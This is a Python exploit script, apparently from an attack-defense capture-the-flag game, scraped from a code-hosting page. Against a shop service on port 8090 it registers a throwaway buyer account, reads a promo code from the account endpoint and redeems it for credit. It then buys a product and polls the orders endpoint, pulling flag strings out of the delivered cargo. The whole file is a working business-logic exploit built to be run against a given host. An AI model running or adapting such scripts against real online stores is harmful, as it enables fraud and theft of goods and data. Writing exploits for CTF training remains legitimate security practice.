244 lines
8.5 KiB
Python
Executable File
244 lines
8.5 KiB
Python
Executable File
#!/usr/bin/env python3
|
|
|
|
from __future__ import annotations
|
|
|
|
import json
|
|
import re
|
|
import secrets
|
|
import sys
|
|
import time
|
|
from http.client import HTTPException
|
|
from http.cookies import SimpleCookie
|
|
from urllib.error import HTTPError, URLError
|
|
from urllib.parse import urlsplit, urlunsplit
|
|
from urllib.request import HTTPRedirectHandler, Request, build_opener
|
|
|
|
|
|
TARGET_SCHEME = "http"
|
|
SERVICE_PORT = 8090
|
|
REQUEST_TIMEOUT = 1.5
|
|
RUN_TIMEOUT = 8.0
|
|
MAX_RESPONSE = 512 * 1024
|
|
MAX_PRICE = 200
|
|
DELIVERY_POLLS = 4
|
|
POLL_INTERVAL = 0.3
|
|
FLAG_PATTERN = re.compile(rb"[A-Z0-9]{31}=")
|
|
|
|
|
|
class NoRedirects(HTTPRedirectHandler):
|
|
def redirect_request(self, req, fp, code, msg, headers, newurl):
|
|
return None
|
|
|
|
|
|
def build_target(target: str) -> str:
|
|
raw = target.strip()
|
|
if not raw:
|
|
raise ValueError("empty target")
|
|
if "://" not in raw:
|
|
authority = f"[{raw}]" if raw.count(":") > 1 and not raw.startswith("[") else raw
|
|
raw = f"{TARGET_SCHEME}://{authority}"
|
|
parsed = urlsplit(raw)
|
|
if parsed.scheme not in {"http", "https"} or not parsed.hostname:
|
|
raise ValueError("expected an HTTP target")
|
|
if parsed.username or parsed.password or parsed.path not in {"", "/"}:
|
|
raise ValueError("target must not include credentials or a path")
|
|
if parsed.query or parsed.fragment:
|
|
raise ValueError("target must not include query or fragment")
|
|
port = parsed.port
|
|
if port is None:
|
|
port = 443 if parsed.scheme == "https" else SERVICE_PORT
|
|
if not 1 <= port <= 65535:
|
|
raise ValueError("invalid target port")
|
|
host = f"[{parsed.hostname}]" if ":" in parsed.hostname else parsed.hostname
|
|
return urlunsplit((parsed.scheme, f"{host}:{port}", "", "", ""))
|
|
|
|
|
|
def request(
|
|
target: str,
|
|
method: str,
|
|
path: str,
|
|
deadline: float,
|
|
payload: dict | None = None,
|
|
cookie: str | None = None,
|
|
) -> tuple[int, list[tuple[str, str]], bytes]:
|
|
remaining = deadline - time.monotonic()
|
|
if remaining <= 0:
|
|
raise TimeoutError("run deadline exceeded")
|
|
body = json.dumps(payload, separators=(",", ":")).encode() if payload is not None else None
|
|
headers = {"Accept": "application/json", "User-Agent": "neo-starpost-signup/1.0"}
|
|
if body is not None:
|
|
headers["Content-Type"] = "application/json"
|
|
if cookie:
|
|
headers["Cookie"] = f"session={cookie}"
|
|
req = Request(target + path, data=body, headers=headers, method=method)
|
|
opener = build_opener(NoRedirects())
|
|
try:
|
|
with opener.open(req, timeout=min(REQUEST_TIMEOUT, remaining)) as response:
|
|
data = response.read(MAX_RESPONSE + 1)
|
|
if len(data) > MAX_RESPONSE:
|
|
raise ValueError("response too large")
|
|
return response.status, list(response.headers.items()), data
|
|
except HTTPError as exc:
|
|
data = exc.read(MAX_RESPONSE + 1)
|
|
if len(data) > MAX_RESPONSE:
|
|
raise ValueError("response too large")
|
|
return exc.code, list(exc.headers.items()), data
|
|
|
|
|
|
def get_json(
|
|
target: str,
|
|
method: str,
|
|
path: str,
|
|
deadline: float,
|
|
payload: dict | None = None,
|
|
cookie: str | None = None,
|
|
) -> tuple[int, list[tuple[str, str]], object, bytes]:
|
|
status, headers, raw = request(target, method, path, deadline, payload, cookie)
|
|
try:
|
|
decoded = json.loads(raw)
|
|
except json.JSONDecodeError as exc:
|
|
raise ValueError(f"{path} returned invalid JSON") from exc
|
|
return status, headers, decoded, raw
|
|
|
|
|
|
def select_product(target: str, deadline: float) -> tuple[int, int] | None:
|
|
status, _, response, _ = get_json(target, "GET", "/api/products", deadline)
|
|
if status != 200 or not isinstance(response, list):
|
|
raise ValueError(f"products endpoint returned HTTP {status}")
|
|
for product in response:
|
|
if not isinstance(product, dict):
|
|
continue
|
|
try:
|
|
product_id = int(product["id"])
|
|
price = int(product["price"])
|
|
except (KeyError, TypeError, ValueError):
|
|
continue
|
|
if isinstance(product.get("id"), bool) or isinstance(product.get("price"), bool):
|
|
continue
|
|
if product_id > 0 and 1 <= price <= MAX_PRICE:
|
|
return product_id, price
|
|
return None
|
|
|
|
|
|
def register_buyer(target: str, deadline: float) -> str:
|
|
marker = secrets.token_hex(8)
|
|
status, headers, _, _ = get_json(
|
|
target,
|
|
"POST",
|
|
"/api/register",
|
|
deadline,
|
|
payload={
|
|
"username": f"signup-{marker}",
|
|
"password": secrets.token_urlsafe(18),
|
|
"role": "buyer",
|
|
},
|
|
)
|
|
if status != 201:
|
|
raise ValueError(f"registration returned HTTP {status}")
|
|
cookies = SimpleCookie()
|
|
for name, value in headers:
|
|
if name.lower() == "set-cookie":
|
|
cookies.load(value)
|
|
if "session" not in cookies:
|
|
raise ValueError("registration did not return a session")
|
|
return cookies["session"].value
|
|
|
|
|
|
def obtain_credit(target: str, cookie: str, deadline: float) -> None:
|
|
status, _, response, _ = get_json(target, "GET", "/api/account", deadline, cookie=cookie)
|
|
if status != 200 or not isinstance(response, dict):
|
|
raise ValueError(f"account endpoint returned HTTP {status}")
|
|
promo = response.get("promo")
|
|
code = promo.get("code") if isinstance(promo, dict) else None
|
|
if not isinstance(code, str) or not code:
|
|
raise ValueError("promo code missing")
|
|
status, _, _, _ = get_json(
|
|
target,
|
|
"POST",
|
|
"/api/promo/credit",
|
|
deadline,
|
|
payload={"code": code},
|
|
cookie=cookie,
|
|
)
|
|
if status != 200:
|
|
raise ValueError(f"promo endpoint returned HTTP {status}")
|
|
|
|
|
|
def buy_product(target: str, product_id: int, cookie: str, deadline: float) -> int:
|
|
status, _, response, _ = get_json(
|
|
target,
|
|
"POST",
|
|
f"/api/products/{product_id}/buy",
|
|
deadline,
|
|
payload={},
|
|
cookie=cookie,
|
|
)
|
|
if status != 201 or not isinstance(response, dict):
|
|
raise ValueError(f"purchase endpoint returned HTTP {status}")
|
|
try:
|
|
order_id = int(response["id"])
|
|
except (KeyError, TypeError, ValueError) as exc:
|
|
raise ValueError("purchase returned an invalid order id") from exc
|
|
return order_id
|
|
|
|
|
|
def collect_order(target: str, order_id: int, cookie: str, deadline: float) -> set[bytes]:
|
|
for _ in range(DELIVERY_POLLS):
|
|
remaining = deadline - time.monotonic()
|
|
if remaining <= 0:
|
|
break
|
|
time.sleep(min(POLL_INTERVAL, remaining))
|
|
try:
|
|
status, _, response, _ = get_json(target, "GET", "/api/orders", deadline, cookie=cookie)
|
|
except (OSError, TimeoutError, URLError, HTTPException, ValueError):
|
|
continue
|
|
if status != 200 or not isinstance(response, list):
|
|
continue
|
|
for order in response:
|
|
if not isinstance(order, dict):
|
|
continue
|
|
try:
|
|
current_id = int(order["id"])
|
|
except (KeyError, TypeError, ValueError):
|
|
continue
|
|
cargo = order.get("cargo")
|
|
if current_id == order_id and order.get("status") == "delivered" and isinstance(cargo, str):
|
|
return set(FLAG_PATTERN.findall(cargo.encode()))
|
|
return set()
|
|
|
|
|
|
def run_exploit(raw_target: str) -> tuple[list[str], int | None, int | None]:
|
|
target = build_target(raw_target)
|
|
deadline = time.monotonic() + RUN_TIMEOUT
|
|
selected = select_product(target, deadline)
|
|
if selected is None:
|
|
return [], None, None
|
|
product_id, price = selected
|
|
cookie = register_buyer(target, deadline)
|
|
obtain_credit(target, cookie, deadline)
|
|
order_id = buy_product(target, product_id, cookie, deadline)
|
|
flags = sorted(flag.decode("ascii") for flag in collect_order(target, order_id, cookie, deadline))
|
|
return flags, product_id, price
|
|
|
|
|
|
def main() -> int:
|
|
if len(sys.argv) != 2:
|
|
print(f"Usage: {sys.argv[0]} HOST", file=sys.stderr)
|
|
return 2
|
|
try:
|
|
flags, product_id, price = run_exploit(sys.argv[1])
|
|
except (OSError, TimeoutError, URLError, HTTPException, ValueError, json.JSONDecodeError) as exc:
|
|
print(f"request failed: {exc}", file=sys.stderr)
|
|
return 1
|
|
if product_id is None:
|
|
print("no active product within the 200-credit signup budget", file=sys.stderr)
|
|
return 0
|
|
for candidate in flags:
|
|
print(candidate, flush=True)
|
|
print(f"product={product_id} price={price} flags={len(flags)}", file=sys.stderr)
|
|
return 0
|
|
|
|
|
|
if __name__ == "__main__":
|
|
raise SystemExit(main())
|